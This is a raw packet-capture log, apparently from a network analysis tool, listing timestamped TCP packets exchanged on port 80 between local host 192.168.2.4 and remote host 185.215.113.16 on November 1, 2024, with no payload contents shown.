Nov 1, 2024 08:51:11.784173012 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784194946 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784205914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784212112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784224987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784235954 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784235954 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784248114 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784254074 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784260035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784271002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784275055 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784282923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784293890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784301043 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784303904 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784321070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784343958 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784343958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784353971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784365892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784374952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784379959 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784388065 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784396887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784403086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784411907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784427881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784430027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784439087 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784449100 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784450054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784461021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784471035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784476042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784482002 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784493923 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784504890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784504890 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784523010 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784550905 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784857035 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784867048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784877062 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.784904003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.784918070 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.785438061 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.785449028 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.785458088 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.785486937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.785509109 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.872826099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872853041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872864962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872876883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872889042 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872895002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.872900963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872912884 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872920990 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.872925997 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872939110 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872957945 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872962952 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.872971058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872980118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.872980118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.872992039 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.873017073 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.873034000 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.873617887 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.873666048 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.873668909 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.873677015 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.873701096 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.873716116 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.903079033 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903105021 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903147936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.903168917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.903268099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903279066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903292894 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903306961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903309107 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.903327942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903328896 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.903340101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.903388977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.988895893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.988912106 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.989012003 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990020037 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990072966 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990101099 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990113974 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990139961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990145922 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990164995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990180969 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990184069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990204096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990221977 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990221977 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990235090 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990246058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990247965 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990263939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990279913 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990523100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990533113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990545988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990559101 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.990573883 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.990588903 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.991147041 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.991158962 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.991170883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.991182089 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:11.991182089 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.991211891 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:11.991235018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.018876076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.018897057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.018907070 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.018946886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.018971920 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.020644903 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.020689964 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.020699978 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.020704031 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.020714045 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.020719051 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.020725965 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.020734072 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.020750999 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.106628895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.106641054 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.106764078 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.107852936 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.107903957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.107904911 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.107913971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.107925892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.107934952 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.107942104 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.107964039 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.107991934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108001947 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108011961 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108022928 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108031034 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108047962 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108072042 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108073950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108098984 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108107090 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108129025 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108760118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108779907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108791113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.108808994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.108830929 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.136434078 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136478901 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136488914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136512995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.136532068 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136543036 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136565924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.136698008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.136698008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.136698008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.138171911 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138194084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138206005 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138214111 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.138238907 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138238907 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.138250113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138261080 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.138269901 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.138299942 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.224380970 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.224402905 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.224550009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.225720882 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225785971 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.225816011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225827932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225840092 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225851059 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225866079 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225872040 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225878000 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.225893974 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.225970030 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.233971119 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.234025955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.234061003 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.234097004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.234127045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.254529953 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.254568100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.254602909 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.254637957 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.254648924 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.254676104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.254722118 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.254751921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.255820990 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.255872011 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.255884886 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.255914927 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.255927086 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.255959988 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.255975008 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.255995989 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.256005049 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.256028891 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.256042004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.256064892 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.256064892 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.256110907 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.341952085 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.341984987 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.342017889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.342073917 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.342977047 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343033075 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343034983 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343066931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343086004 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343102932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343115091 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343138933 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343147993 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343170881 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343189955 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343204975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343213081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343239069 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343246937 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343272924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343280077 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343327045 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343837976 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343868971 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343904972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343910933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343910933 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343938112 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.343946934 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.343983889 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.372265100 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.372303009 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.372325897 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.372338057 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.372351885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.372374058 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.372390032 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.372425079 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373722076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373755932 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373775005 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373790026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373796940 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373822927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373831987 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373857975 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373872995 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373891115 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373900890 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373925924 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373950958 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.373960018 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.373974085 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.374010086 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.459634066 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.459726095 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.459762096 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.459780931 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.459781885 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.459836960 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460592985 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460645914 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460650921 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460675955 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460688114 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460725069 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460730076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460763931 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460796118 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460804939 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460828066 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460830927 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460848093 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460881948 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.460882902 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.460939884 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.461405993 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.461468935 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.461514950 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.461565018 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.490000963 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.490055084 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.490060091 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.490089893 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.490118027 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.490125895 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.490140915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.490160942 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.490175009 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.490269899 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491461992 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491522074 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491611004 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491662979 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491681099 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491699934 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491708994 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491734982 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491750002 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491832972 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491833925 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491867065 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491902113 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.491920948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491920948 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.491949081 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.577043056 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.577078104 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.577133894 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.577199936 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578109026 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578167915 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578178883 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578216076 CET	80	57660	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:12.578253984 CET	57660	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:12.578253984 CET	57660	80	192.168.2.4	185.215.113.16
